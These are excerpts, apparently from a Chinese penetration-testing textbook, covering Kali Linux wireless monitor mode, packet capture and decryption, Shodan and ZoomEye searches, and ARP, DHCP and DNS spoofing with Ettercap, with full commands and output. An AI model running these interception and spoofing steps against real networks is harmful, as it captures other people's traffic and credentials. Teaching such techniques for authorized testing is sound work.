    {"text": "未知 2.5.1 开启无线监听 如果要扫描无线网络，则必须开启无线监听。当开启无线监听后，则可以捕获附近其他主机的数据包。由于支持2.4GHz和5GHz的网卡芯片不同，所以启用的监听模式也不同。下面将分别介绍启用这两种无线网卡监听的方法。 1.启用2.4GHz无线网卡监听模式 对于2.4GHz频段的无线网卡，用户可以使用Airmon-ng工具来启用监听模式。语法格式如下： airomon-ng start <interface> 以上语法中，参数interface指的是无线网络接口。 【实例2-20】 设置无线网卡为监听模式。具体操作步骤如下： （1）查看当前主机的无线网络接口。执行命令如下： root@daxueba:~# ifconfig eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.1.6 netmask 255.255.255.0 broadcast 192.168.1.255 inet6 fe80::20c:29ff:fe0e:bad prefixlen 64 scopeid 0x20<link> ether 00:0c:29:0e:0b:ad txqueuelen 1000 (Ethernet) RX packets 1586789 bytes 2191254858 (2.0 GiB) RX errors 0 dropped 3 overruns 0 frame 0 TX packets 346037 bytes 26210568 (24.9 MiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (Local Loopback) RX packets 54013 bytes 17350980 (16.5 MiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 54013 bytes 17350980 (16.5 MiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 wlan0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500 ether da:3d:6b:42:0c:96 txqueuelen 1000 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 0 bytes 0 (0.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 从输出的信息中可以看到，当前的无线网络接口名为wlan0。 （2）设置无线网卡为监听模式。执行命令如下： root@daxueba:~# airmon-ng start wlan0 Found 3 processes that could cause trouble. Kill them using 'airmon-ng check kill' before putting the card in monitor mode, they will interfere by changing channels and sometimes putting the interface back in managed mode PID Name 474 NetworkManager 732 wpa_supplicant 8609 dhclient PHY Interface Driver Chipset phy0 wlan0 rt2800usb Ralink Technology, Corp. RT5370 (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0] wlan0mon) (mac80211 station mode vif disabled for [phy0]wlan0) 从输出的信息中可以看到，已成功设置无线网卡为监听模式。其中，监听的接口为wlan0mon。 2.启用5GHz无线网卡监听模式 对于一些支持5GHz频段的无线网卡，也可以使用Airmong-ng工具来启用监听。但是，一些芯片的无线网卡无法使用该工具来启用监听，如RTL8812AU。下面将以这款无线网卡为例，使用iwconfig命令来启用5GHz无线网卡为监听模式。语法格式如下： iwconfig <interface> mode monitor 以上语法中，interface表示无线网络接口名称；monitor表示设置为监听模式。 【实例2-21】 启用5GHz无线网卡监听。具体操作步骤如下： （1）查看无线网络接口的工作模式。执行命令如下： root@daxueba:~# iwconfig lo no wireless extensions. wlan0 IEEE 802.11 ESSID:off/any Mode:Managed Access Point: Not-Associated Tx-Power=18 dBm Retry short limit:7 RTS thr:off Fragment thr:off Encryption key:off Power Management:off eth0 no wireless extensions. 从输出的信息可以看到，该无线网络接口名称为wlan0，并且工作在Managed模式下。接下来将启用该无线网卡为监听模式。在启用无线网卡监听模式时，需要停止该网络接口，所以接下来将停止无线网络接口。 （2）停止无线网络接口。执行命令如下： root@daxueba:~# ip link set wlan0 down 执行以上命令后，将不会输出任何信息。 提示： 使用iwconfig命令设置无线网卡工作模式时，必须先停止无线网络接口；否则将会提示设备或资源繁忙。例如： Error for wireless request \"Set Mode\" (8B06) : SET failed on device wlan0 ; Device or resource busy. （3）设置无线网卡为监听模式。执行命令如下： root@daxueba:~# iwconfig wlan0 mode monitor 执行以上命令后，将不会输出任何信息。接下来，启动该无线网卡，即可使用它的监听模式来嗅探数据包。 （4）启动无线网卡。执行命令如下： root@daxueba:~# ip link set wlan0 up 执行以上命令后，不会输出任何信息。接下来，使用iwconfig命令查看无线网络接口信息，以确定监听模式是否启动成功。 （5）再次查看无线网卡的工作模式。执行命令如下： root@daxueba:~# iwconfig wlan0 wlan0 IEEE 802.11 Mode:Monitor Frequency:5.745 GHz Tx-Power=20 dBm Retry short long limit:2 RTS thr:off Fragment thr:off Power Management:off 从输出的信息中可以看到，当前工作模式为Monitor，即监听模式，而且该无线网卡接口的监听模式接口名仍然是wlan0。"},
    {"text": "未知 1.1.2 服务器版本 服务器版本（Windows Server）是指Windows专用服务器版本。Windows Server是微软在2003年4月24日推出的Windows服务器操作系统，其核心是Microsoft Windows Server System（WSS），每个Windows Server都与其家用版对应（Windows Server 2003 R2除外）。目前，Windows Server的最新版本是Windows Server 2019。其中，Windows Server的历史版本如表1.1所示。 表1.1 Windows Server的历史版本 对于服务器版本的Windows操作系统，一般会开启常见的服务，如Web服务、DNS服务、DHCP服务、FTP服务和文件共享服务。在Windows Server 2003中，通过添加/删除程序来安装服务；在Windows Server 2008/2012/2016中，都是通过添加角色和功能的方式来安装服务。"},
    {"text": "执行命令如下： root@daxueba:~# airodump-ng wlan0mon CH 7 ][ Elapsed: 1 min ][ 2019-08-01 09:38 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 14:E6:E4:84:23:7A -22 33 0 0 1 54e. WEP WEP Test 70:85:40:53:E0:3B -31 68 661 1 4 130 WPA2 CCMP PSK CU_655w AC:A4:6E:9F:01:0C -64 40 0 0 7 130 WPA2 CCMP PSK CMCC-JmKm 80:89:17:66:A1:B8 -73 28 0 0 1 405 WPA2 CCMP PSK TP-LINK_ A1B8 AC:A4:6E:9F:13:E4 -76 2 0 0 11 130 WPA2 CCMP PSK CMCC-gT9x BSSID STATION PWR Rate Lost Frames Probe 70:85:40:53:E0:3B 00:18:E7:BB:0C:38 -32 0 – 1 0 11 CU_655w 70:85:40:53:E0:3B FC:1A:11:9E:36:A6 -68 0 – 6 0 8 以上输出信息是扫描到的无线网络。"},
    {"text": "如果值为WEP?，表示使用WEP或者WPA/WPA2方法； 如果值为WEP（没有问号），表示使用静态或动态WEP方式； 如果值为TKIP或CCMP，表示使用WPA/WPA2。"},
    {"text": "常用的有MGT（WPA/WPA2使用独立的认证服务器，如平时我们常说的802.1x、Radius、EAP等）、SKA（WEP的共享密钥）、PSK（WPA/WPA2的预共享密钥）或者OPN（WEP开放式）。"},
    {"text": "它意味着从客户端来的数据丢包，每个非管理帧中都有一个序列号字段，把刚接收到的帧中的序列号和前一个帧中的序列号相减就能知道丢了几个包。"},
    {"text": "其中，使用Airodump-ng工具捕获数据包的语法格式如下： airodump-ng [options] [interface] 用于捕获数据包的命令选项及含义如下： ·--ivs：该选项用来设置过滤，不再将所有无线数据保存，而只是保存可用于破解的IVS数据包。"},
    {"text": "执行命令如下： root@daxueba:~# airodump-ng -c 4 -w wpa --bssid 00:18:E7:BB:0C:38 wlan0mon 执行以上命令后，捕获到的数据包将保存到wpa-01.cap而不是wpa.cap文件中。"},
    {"text": "具体操作步骤如下： （1）在菜单栏中依次选择“应用程序”|“嗅探/欺骗”|Wireshark命令，将弹出Wireshark的启动窗口，如图2.24所示。"},
    {"text": "这里选择无线网络监听接口wlan0mon，并单击开始捕获分组按钮 ，将开始捕获数据包，如图2.25所示。 （3）从该窗口中可以看到，正在捕获接口wlan0mon的数据包。"},
    {"text": "然后在菜单栏中依次选择“文件”|“保存”命令，将弹出保存捕获文件对话框，如图2.26所示。 图2.25 正在捕获数据包 图2.26 保存捕获文件 （4）在该对话框中指定捕获文件的保存位置、文件名和保存类型。"},
    {"text": "未知 2.5.3 解密数据 因为AP使用了加密功能，所以捕获到的数据包也是加密的。如果要分析其内容，则需要解密数据。用户通过永久解密其捕获文件，可以供p0f工具进行指纹识别。通常情况下，AP使用WEP或WPA/WPA2加密方式。下面将介绍使用airdecap-ng工具解密WEP和WPA/WPA2加密数据包的方法。 提示： airdecap-ng工具仅支持解密.pcap格式的捕获文件。如果用户捕获的包为其他格式（如.pcapng），可以使用Wireshark将其打开，然后再另存为.pcap格式。 1.永久解密WEP数据包 使用airdecap-ng工具永久解密WEP加密数据包的语法格式如下： airdecap-ng -w [password] [pcap file] 以上语法中的选项及含义如下： ·-w [password]：指定AP的密码，形式为ASCII值的十六进制。 【实例2-24】 使用airdecap-ng工具永久解密WEP加密数据包。执行命令如下： root@daxueba:~# airdecap-ng -w \"61:62:63:64:65\" wep.pcap Total number of stations seen 6 #所见客户端总数 Total number of packets read 6533 #读取的总包数 Total number of WEP data packets 5300 #WEP数据包数 Total number of WPA data packets 0 #WPA数据包数 Number of plaintext data packets 0 #纯文本数据包数 Number of decrypted WEP packets 5300 #解密的WEP包数 Number of corrupted WEP packets 0 #破坏的WEP包数 Number of decrypted WPA packets 0 #解密的WPA包数 Number of bad TKIP (WPA) packets 0 #坏的TKIP包数 Number of bad CCMP (WPA) packets 0 #坏的CCMP包数 从输出的信息中可以看到，成功解密了5300个WEP加密数据包。其中，解密后的包默认是输出到wep-dec.pcap捕获文件中。接下来，用户就可以在任何计算机上使用Wireshark来分析数据包了，无须再配置路由器信息了。此时，使用Wireshark工具查看解密后的捕获文件wep-dec.pcap，结果如图2.27所示。 图2.27 解密后的数据包 从窗口底部的状态栏中可以看到，该数据包文件中保存了5300个数据包，而且都已成功解密。 2.永久解密WPA/WPA2数据包 使用airdecap-ng工具永久解密WPA加密数据包的语法格式如下： airdecap-ng -e [ESSID] -p [password] [pcap file] 以上语法中的选项及含义如下： ·-e：指定目标AP的ESSID。 ·-p：指定AP的密码。 【实例2-25】 使用airdecap-ng工具解密捕获文件wpa.pcap中的加密数据包。执行命令如下： root@daxueba:~# airdecap-ng -e Test -p daxueba! wpa.pcap Total number of stations seen 8 #所见客户端总数 Total number of packets read 273479 #读取的总包数 Total number of WEP data packets 0 #WEP数据包数 Total number of WPA data packets 127377 #WPA数据包数 Number of plaintext data packets 3 #纯文本数据包数 Number of decrypted WEP packets 0 #解密的WEP包数 Number of corrupted WEP packets 0 #破坏的WEP包数 Number of decrypted WPA packets 120195 #解密的WPA包数 Number of bad TKIP (WPA) packets 0 #坏的TKIP包数 Number of bad CCMP (WPA) packets 0 #坏的CCMP包数 从以上输出信息可以看到，成功解密了120 195个加密的WPA数据包。其中，解密后的包默认输出到wpa-dec.pcap捕获文件中。此时，用户使用Wireshark查看wpa-dec.pcap捕获文件，即可分析所有的数据包，如图2.28所示。 图2.28 解密后的数据包 从该窗口的底部状态栏中可以看到，该捕获文件中共有120195个数据包，都已被解密。 当用户成功解密数据包后，则可以使用p0f工具读取该捕获文件，从中获取系统指纹信息。执行命令如下： root@daxueba:~# p0f -r wpa-dec.pcap --- p0f 3.09b by Michal Zalewski <lcamtuf@coredump.cx> --- [+] Closed 1 file descriptor. [+] Loaded 322 signatures from '/etc/p0f/p0f.fp'. [+] Will read pcap data from file 'wpa-dec.pcap'. [+] Default packet filtering configured [+VLAN]. [+] Processing capture data. .-[ 192.168.1.5/49254 -> 58.251.106.105/36688 (syn) ]- | | client = 192.168.1.5/49254 | os = Windows XP #操作系统 | dist = 0 | params = none | raw_sig = 4:128+0:0:1460:65535,1:mss,nop,ws,nop,nop,sok:df,id+:0 | `---- .-[ 192.168.1.5/49254 -> 58.251.106.105/36688 (mtu) ]- | | client = 192.168.1.5/49254 | link = Ethernet or modem | raw_mtu = 1500 | `---- .-[ 192.168.1.5/49254 -> 58.251.106.105/36688 (syn+ack) ]- | | server = 58.251.106.105/36688 | os = Linux 3.x | dist = 14 | params = tos:0x01 | raw_sig = 4:50+14:0:1360:mss*10,7:mss,nop,nop,sok,nop,ws:df:0 | `---- 从输出的信息中可以看到，主机192.168.1.5的操作系统类型为Windows XP。 未知 2.6 广域网扫描 广域网又称外网、公网，是连接不同地区局域网或城域网计算机通信的远程网。因为广域网是公开的，都可以访问，所以用户可以利用第三方的扫描服务实施广域网扫描。本节将介绍使用Shodan和ZoomEye扫描广域网的方法。"},
    {"text": "未知 2.6.1 使用Shodan扫描 Shodan是目前最强大的搜索引擎。它与Google这种搜索网址的搜索引擎不同，Shodan是用来搜索网络空间中在线设备的。用户可以通过Shodan搜索指定的设备，或者搜索特定类型的设备。Shodan搜索引擎的网址为 https://www.shodan.io/ ，页面如图2.29所示。 图2.29 Shodan搜索引擎 该页面就是Shodan搜索引擎的主页面。这里就像是用Google一样，在主页的搜索框中输入想要的内容即可。例如，这里搜索主机 www.kali.org ，显示效果如图2.30所示。 图2.30 搜索结果 从该页面中可以看到，搜索到了两个匹配结果。其中，主机 www.kali.org 对应的IP地址为217.72.206.21。此时，单击任何一个IP地址，即可查看该主机的详细信息，如图2.31所示。 图2.31 主机详细信息 从该页面顶部的地图中可以看到主机的物理位置。从左侧可以了解到主机的相关信息，右侧显示了目标主机的端口列表及服务详细信息。从左侧列表中可以看到，该主机所在的国家为Germany、主机名为mirror.eu.oneandone.net、ASN（自治区编号）为AS8560。由此可以看到，开放的端口有80、443和873；运行的服务为Nginx提供的HTTP服务，版本为1.6.2。 前面只是使用关键字进行搜索。为了能够获取更准确的信息，用户可以使用一些特定的命令对搜索结果进行过滤。其中，常见的过滤器命令如下： ·hostname：搜索指定的主机名或域名，如hostname:\"baidu\"。 ·port：搜索指定的端口或服务，如port:\"21\"。 ·country：搜索指定的国家，如country:\"CN\"。 ·city：搜索指定的城市，如city:\"beijing\"。 ·org：搜索指定的组织或公司，如org:\"google\"。 ·isp：搜索指定的ISP供应商，如isp:\"China Telecom\"。 ·product：搜索指定的操作系统、软件和平台，如product:\"Apache httpd\"。 ·version：搜索指定的软件版本，如version:\"1.6.2\"。 ·geo：搜索指定的地理位置，参数为经纬度，如geo:\"31.8639,117.2808\"。 ·before/after：搜索指定收录时间前后的数据，格式为dd-mm-yy，如before:\"11-11-15\"。 ·net：搜索指定的IP地址或子网，如net:\"210.45.240.0/24\"。"},
    {"text": "未知 2.6.2 使用ZoomEye扫描 ZoomEye是一款针对网络空间的搜索引擎。该搜索引擎的后端数据计划包括两部分，分别是网站组件指纹和主机设备指纹。这两部分分别包括的数据信息如下： ·网站组件指纹：包括操作系统、Web服务、服务端语言、Web开发框架、Web应用、前端库及第三方组件等。 ·主机设备指纹：结合NMAP大规模扫描结果进行整合。 ZoomEye搜索引擎的网址为 https://www.zoomeye.org/ ，访问成功后，将显示如图2.32所示的页面。 图2.32 ZoomEye搜索引擎 在该页面的搜索文本框中输入要搜索的主机或设备，即可获取对应的信息。用户还可以使用高级搜索功能，指定详细的信息进行搜索。单击文本框下面的“高级搜索”命令，将弹出“高级搜索”对话框，如图2.33所示。 图2.33 “高级搜索”对话框 在该对话框中，用户可以进行设备或网站扫描。在设备扫描界面可以设置组件名、版本、设备、端口、IP和CIDR等信息。然后单击“确认”按钮，即可获取对应的信息。这些高级搜索功能可以在普通搜索的文本框中使用表达式进行过滤。下面将介绍可用的过滤器表达式。 1.指定搜索的组件及版本 表达式如下： app:组件名称 ver:组件版本 例如，搜索apache组件，版本为2.4，则过滤器表达式如下： app:apache ver:2.4 2.指定搜索的端口 表达式如下： port:端口号 例如，搜索开放了SSH端口的主机，则过滤器表达式如下： port:22 一些服务器可能监听了非标准的端口。要按照更精确的协议进行检索，可以使用Service进行过滤。 3.指定搜索的操作系统 表达式如下： OS:操作系统名称 例如，搜索Linux操作系统，则过滤器表达式如下： OS:Linux 4.指定搜索的服务 表达式如下： service:服务名称 例如，搜索SSH服务，则过滤器表达式如下： Service:SSH 5.指定搜索的地理位置范围 表达式如下： country:国家名 city:城市名 例如，搜索中国，Beijing城市，则过滤器表达式如下： country:China city:Beijing 6.搜索指定的CIDR网段 表达式如下： CIDR:网段区域 例如，搜索192.168.1.0网段，则过滤器表达式如下： CIDR:192.168.1.0/24 7.搜索指定的网站域名 表达式如下： Site:网站域名 例如，搜索域名 www.baidu.com ，则过滤器表达式如下： site:www.baidu.com 8.搜索指定的主机名 表达式如下： Hostname:主机名 例如，搜索主机名zwl.cuit.edu.cn，则过滤器表达式如下： hostname:zwl.cuit.edu.cn 9.搜索具有特定首页关键词的主机 表达式如下： Keyword:关键词 例如，搜索关键词为technology的主机，则过滤器表达式如下： Keywork:technology 当用户对ZoomEye搜索引擎的使用了解清楚后，则可以实施广域网扫描了。例如，这里搜索广域网中的Windows操作系统，在搜索文本框中输入表达式OS:windows，将显示如图2.34所示的结果。 图2.34 搜索结果 在图2.34中显示了所有与Windows操作系统相关的信息。其中共包括三部分信息，每部分信息说明如下： ·左侧部分：给出了搜素结果的IP地址、使用的协议、开放的端口服务、所处的国家、城市和搜索时间。 ·中间部分：给出了使用HTTP协议的版本信息、使用的组件名称、版本、服务器的类型和主机的系统信息。 ·右侧部分：给出了本次搜索结果的搜索类型（网站、设备数量）、年份、所处国家、Web应用、Web容器、组件、服务、设备和端口信息。 除了以上三部分信息外，用户在上方可还以分别查看搜索结果、统计报告、全球视角和相关漏洞方面的信息。其中，每部分信息说明如下： ·搜索结果：显示按照搜索条件查询之后所获得的结果信息。 ·统计报告：显示搜索结果的统计报告信息。 ·全球视角：显示各大组件、服务器系统的地理位置。 ·相关漏洞：给出各大组件、服务器系统等存在的历史性漏洞的描述文档。 例如，这里查看“相关漏洞”信息，结果如图2.35所示。 图2.35 相关漏洞 从结果中可以看到搜索到的Windows系统中各种组件存在的漏洞，如dedecms、microsoft iis httpd等。此时，用户单击每类组件中的漏洞描述链接，即可查看该漏洞的详细信息。另外，单击“了解更多”命令，即可查看组件的相关漏洞。例如，查看“IIS系列Http.sys处理Range整数溢出漏洞”漏洞详细信息，显示结果如图2.36所示。 从结果中可以看到“IIS系列Http.sys处理Range整数溢出漏洞”漏洞详情，如漏洞概要、漏洞描述、漏洞影响及漏洞分析等。例如，查看漏洞组件Microsoft IIS httpd的相关漏洞，单击microsoft iis httpd右侧的“了解更多”命令，将显示如图2.37所示的结果。 图2.36 “IIS系列Http.sys处理Range整数溢出漏洞”漏洞详细信息 图2.37 相关漏洞 从结果中可以看到Microsoft IIS httpd漏洞组件中的所有相关漏洞信息。从该漏洞列表中可以看到每个漏洞的SSV ID、提交时间、漏洞等级、漏洞名称和漏洞状态。 未知 第3章 网络嗅探与欺骗 当确认渗透测试目标后，就可以开始对目标实施网络嗅探，以获取对方通过网络所传输的数据。通过分析这些数据，可以熟悉并了解目标网络的行为，甚至是核心数据，如用户名和密码等。为了获取更多的网络数据，往往还需要实施各种网络欺骗。本章将讲解如何实施网络嗅探与欺骗。 未知 3.1 被动监听 被动监听是一种不主动发送数据包，只接收数据包的监听方式。在局域网中，被动监听默认可以捕获广播数据。如果结合网络设备，就可以捕获所有的数据。本节将讲解两种被动监听的实施方式。"},
    {"text": "未知 3.1.1 捕获广播数据 由于广播数据包会发送到局域网中的所有主机上，所以这类数据最容易被捕获。为了方便捕获和分析，这里使用Wireshark工具。Wireshark是一款功能非常强大的数据包捕获和分析工具，并且支持混杂模式，可以尽可能捕获其他主机的数据包。下面讲解如何使用Wireshark捕获广播数据。 【实例3-1】 使用Wireshark捕获数据包。具体操作步骤如下： （1）在系统菜单栏中依次选择“应用程序”|“嗅探/欺骗”|Wireshark命令，将打开Wireshark的主界面，如图3.1所示。 （2）依次选择“捕获”|“选项”命令，打开“Wireshark·捕获接口”对话框，如图3.2所示。 （3）在该对话框中选择接口eth0，并勾选“混杂”列的复选框。然后在“所选择接口的捕获过滤器”文本框中输入捕获过滤器broadcast。单击“开始”按钮，将开始捕获来自接口eth0的广播数据包，如图3.3所示。 图3.1 Wireshark主界面 图3.2 “Wireshark·捕获接口”对话框 图3.3 正在捕获数据包 注意： 在捕获数据包时，指定的捕获过滤器broadcast表示仅捕获广播数据包。 （4）图3.3中显示的是捕获到的数据包。其中，捕获到的都是源或目标为广播地址的数据包。另外，目标地址Broadcast也表示广播地址。该广播地址对应的IP地址为0.0.0.0，MAC地址为ff:ff:ff:ff:ff:ff。 未知 3.1.2 使用镜像端口 镜像端口就是将一个或多个源端口的数据流量转发到某一个指定端口，用以实现对网络的监听。很多路由器和交换机都支持该功能。当渗透测试人员拥有对路由器和交换机设备的操作权限时，就可以在设备上开启镜像端口功能，然后以被动的方式在镜像端口上监听到所有的数据包。此时，用户同样可以使用Wireshark来捕获数据包。 图3.4 “登录”对话框 这里将以飞鱼星路由器为例，介绍使用镜像端口监听数据包的方法。首先需要在路由器上启动镜像端口功能并设置镜像端口。具体操作步骤如下： （1）登录飞鱼星路由器。本例中该路由器的IP地址为192.168.8.1。在浏览器中输入 http://192.168.8.1/ ，将显示“登录”对话框，如图3.4所示。 （2）在该对话框中输入登录的用户名和密码。默认的用户名和密码都为admin。然后单击“登录”按钮，将进入该路由器的欢迎页面，如图3.5所示。 图3.5 欢迎页面 （3）在左侧栏中显示了路由器的所有设置选项。这里依次选择“高级选项”|“端口镜像”命令，将进入端口镜像设置页面，如图3.6所示。 图3.6 端口镜像设置页面 （4）在该页面中有3个设置选项，分别是“启用、选择监听端口和选择被监听端口”。其中，“启用”选项用来设置是否启动端口的镜像功能；“选择监听端口”用来指定监听数据包的接口；“选择被监听端口”用来指定镜像的端口。勾选“允许端口镜像功能？”复选框，表示启用端口镜像。然后分别设置监听端口为LAN1，被监听端口为LAN2。这样设置后，LAN2端口的所有数据包都将发送到LAN1接口。所以用户在LAN1接口上捕获数据包，即可监听到来自LAN2接口的所有数据包。当设置完成后，单击“保存”按钮，使配置生效。当然，用户也可以同时监听LAN2和LAN3两个接口的数据包，将这两个接口的复选框都勾上即可。 【实例3-2】 使用Wireshark通过镜像端口被动监听数据包。其中，连接LAN1接口的主机IP地址为192.168.8.122；连接LAN2接口的主机IP地址为192.168.8.157。为了方便对数据包进行分析，这里指定使用的捕获过滤器是host 192.168.8.157。具体操作步骤如下： （1）启动Wireshark工具，然后在菜单栏中依次选择“捕获”|“选项”命令，打开“Wireshark·捕获接口”对话框，如图3.7所示。 （2）在该对话框中选择接口eth0，并指定使用捕获过滤器host 192.168.8.157，表示仅捕获主机192.168.8.157的数据包。勾选对应的“混杂”复选框，然后单击“开始”按钮，将捕获指定主机的数据包，如图3.8所示。 （3）可以看到，正在捕获目标主机192.168.8.157的数据包。其中，捕获的包中源或目标IP地址都为192.168.8.157。此时，用户就可以对监听到的数据包进行分析，以获取目标主机的信息。 图3.7 “Wireshark·捕获接口”对话框 图3.8 正在捕获数据包 未知 3.2 主动监听 主动监听需要渗透测试人员对目标实施一些特定的攻击手段，以获取目标在网络中传输的数据包。其中，最常见的攻击手段为中间人攻击，如ARP欺骗、DHCP欺骗和DNS欺骗等。本节将介绍如何使用这些方式对目标实施攻击，进而主动监听目标主机的数据包。"},
    {"text": "未知 1.2 Windows版本 Windows操作系统经历了多年的发展历程，目前的最新版本为Windows 10。为了使用户对Windows的发展历程有一个了解，这里列举出该操作系统的版本发展史，如表1.2所示。 表1.2 Windows的历史版本 1.用户使用占比 为了便于用户了解人们使用Windows操作系统版本的偏好，这里列出Net Applications和StartCounter机构统计的各个版本的占比情况，如表1.3所示。这样，用户在练习渗透测试时才可以有针对性地研究攻击目标。 表1.3 Windows系统各个版本的占比情况 从表1.3中可以看到，目前使用最多的Windows系统版本为Windows 7和Windows10。 2.服务更新时间 Windows系统提供了两个更新时间，分别是主流支持服务和扩展支持服务。其中，主流支持服务是指在这段期间内，微软发布的新产品（如新IE、新Office等软件）都支持这个操作系统；扩展支持服务是指在扩展服务支持期间，微软发布的新产品（如新IE、新Office等软件）都不支持这个操作系统，但是还会有补丁发布。当超过这两个时间后，微软就不会主动推送补丁更新。因此，利用终止更新时间之后发现的漏洞更容易渗透测试成功。其中，最常用的个人版停止更新时间如表1.4所示。 表1.4 操作系统停止更新时间 未知 3.2.1 ARP欺骗 ARP欺骗（ARP spoofing）也称ARP毒化或ARP攻击。它是针对以太网地址解析协议（ARP）的一种攻击技术。这种方式会欺骗局域网内访问者和网关，让访问者以为攻击者是网关，而让网关以为攻击者是访问者，从而使访问者和网关将相应的数据发给攻击者。下面将介绍使用Ettercap工具实施ARP欺骗的方法。 【实例3-3】 使用Ettercap实施ARP欺骗。具体操作步骤如下： （1）启动Ettercap工具。执行命令如下： root@daxueba:~# ettercap -G 执行以上命令后，将显示如图3.9所示的界面。 图3.9 Ettercap主界面 （2）在菜单栏中依次选择Sniff|Unified sniffing命令，将弹出网络接口对话框，如图3.10所示。 图3.10 指定网络接口 （3）在该对话框中，指定网络接口eth0并单击“确定”按钮，将显示如图3.11所示的界面。 （4）在菜单栏中依次选择Hosts|Scan for hosts命令，将扫描整个网络中的所有主机。扫描完成后，依次选择Hosts|Hosts list命令，即可看到扫描出的所有主机，如图3.12所示。 图3.11 启动Unified嗅探方式 图3.12 扫描出的主机列表 （5）Host List列表列出了扫描到的所有主机。此时，选择网关作为目标1；选择目标主机作为目标2。这里，选择网关地址192.168.1.1，单击Add to Target1按钮；然后选择目标主机192.168.1.7，单击Add to Target2按钮。成功添加目标后，如图3.13所示。从文本消息框中可以看到指定的目标主机。 （6）在菜单栏中依次选择Start|Start sniffing命令，开启嗅探。然后在菜单栏中，依次选择Mitm|ARP poisonging命令，将弹出ARP注入对话框，如图3.14所示。 图3.13 指定的目标 图3.14 ARP注入对话框 （7）在该对话框中，勾选Sniff remote connections复选框并单击“确定”按钮，即可成功对目标实施ARP欺骗，如图3.15所示。 （8）此时已成功对目标实施了ARP欺骗，并且正在监听目标主机的数据包。如果目标主机访问某服务器并登录其服务器时，传输的信息将被嗅探到。例如，HTTP、FTP服务都是明文传输数据，如果目标主机登录这些服务器，其登录信息将会被Ettercap监听到。如果用户想要停止ARP欺骗，则在菜单栏中依次选择Mitm|Stop mitm attack(s)命令，将弹出停止中间人攻击对话框，如图3.16所示。 （9）当停止中间人攻击后，还需要停止嗅探。在菜单栏中依次选择Start|Stop sniffing命令，即可停止嗅探。然后依次选择Start|Exit命令，将退出Ettercap工具。 以上介绍的是使用Ettercap图形界面实施ARP欺骗。用户还可以使用Ettercap的文本模式来实现ARP欺骗。执行命令如下。其中，指定攻击的目标主机为192.168.1.7，网关为192.168.1.1。 图3.15 成功实施ARP欺骗 图3.16 停止中间人攻击 root@daxueba:~# ettercap -Tq -M arp:remote /192.168.1.7// /192.168.1.1// ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team Listening on: eth0 -> 00:0C:29:0E:0B:AD 192.168.1.6/255.255.255.0 fe80::20c:29ff:fe0e:bad/64 SSL dissection needs a valid 'redir_command_on' script in the etter.conf file Ettercap might not work correctly. /proc/sys/net/ipv6/conf/eth0/use_ tempaddr is not set to 0. Privileges dropped to EUID 65534 EGID 65534... 33 plugins 42 protocol dissectors 57 ports monitored 20388 mac vendor fingerprint 1766 tcp OS fingerprint 2182 known services Lua: no scripts were specified, not starting up! Scanning for merged targets (2 hosts)... * |==================================================>| 100.00 % 2 hosts added to the hosts list... ARP poisoning victims: GROUP 1 : 192.168.1.7 00:0C:29:7B:C9:0F GROUP 2 : 192.168.1.1 70:85:40:53:E0:35 Starting Unified sniffing... Text only Interface activated... Hit 'h' for inline help 看到以上输出信息，则表示成功实施了ARP欺骗。"},
    {"text": "DHCP是用来提供IP地址分配的服务的。 当局域网中的计算机设置为自动获取IP时，就会在启动后发送广播包请求IP地址，DHCP服务器（如路由器）会分配一个IP地址给计算机。"},
    {"text": "如果用户想要查看每个包的详细信息，选择某个包后，则可以看到每个字段的详细信息，如图3.22所示。 图3.21 正在实施攻击 图3.22 包的详细信息 （8）在该窗口的左下方，即可看到该包中每个字段的详细信息，如源MAC地址、目标MAC地址、SIP、DIP、源端口、目标端口等。"},
    {"text": "如果要想获取目标主机的数据，则还需要使用自己的DHCP服务器为目标分配IP地址。 因此用户需要搭建一个DHCP服务器，为新连接到网络的主机分配IP地址。 下面将介绍使用Ghost Phisher工具创建伪DHCP服务器，用来为目标主机分配IP地址。 【实例3-4】 使用Ghost Phisher工具创建伪DHCP服务器。"},
    {"text": "具体操作步骤如下： （1）启动Ghost Phisher工具。 执行命令如下： root@daxueba:~# ghost-phisher 执行以上命令后，将弹出如图3.24所示的对话框。"},
    {"text": "具体操作步骤如下： （1）启动Wireshark，然后在菜单栏中依次选择“捕获”|“选项”命令，打开“Wireshark·捕获接口”对话框，如图3.30所示。 图3.30 “Wireshark·捕获接口”对话框 （2）在该对话框中选择接口eth0，并勾选“混杂”复选框。"},
    {"text": "单击“开始”按钮，将开始捕获指定主机的数据包，如图3.31所示。 图3.31 正在监听数据包 （3）从捕获列表中可以看到，已经成功捕获到目标主机192.168.1.11的数据包。"},
    {"text": "未知 3.2.3 DNS欺骗 DNS欺骗是攻击者冒充域名服务器的一种欺骗行为。 DNS欺骗的基本原理是通过冒充域名服务器，然后把查询的IP地址设为攻击者的IP地址。"},
    {"text": "其中，用于实施DNS欺骗攻击的插件为dns_spoof。 下面将介绍使用dns_spoof插件对目标实施DNS欺骗的方法。 【实例3-5】 使用Ettercap实施DNS欺骗。"},
    {"text": "其中，Ettercap工具默认的DNS配置文件为/etc/ettercap/etter.dns。 该文件默认的配置如下： root@daxueba:~# vi /etc/ettercap/etter.dns ################################ # microsoft sucks ;) # redirect it to www.linux.org # microsoft.com A 107.170.40.56 *.microsoft.com A 107.170.40.56 www.microsoft.com PTR 107.170.40.56 # Wildcards in PTR are not allowed 图3.32 Apache服务的默认页面 该文件默认定义了3个域名，攻击主机的地址为107.170.40.56。"},
    {"text": "本例中攻击主机的地址为192.168.1.6，所以这里需要将目标主机地址欺骗到攻击主机地址上，添加的DNS记录如下： * A 192.168.1.6 （4）使用Ettercap实施ARP欺骗。 启动dns_spoof插件即可实施DNS欺骗。"},
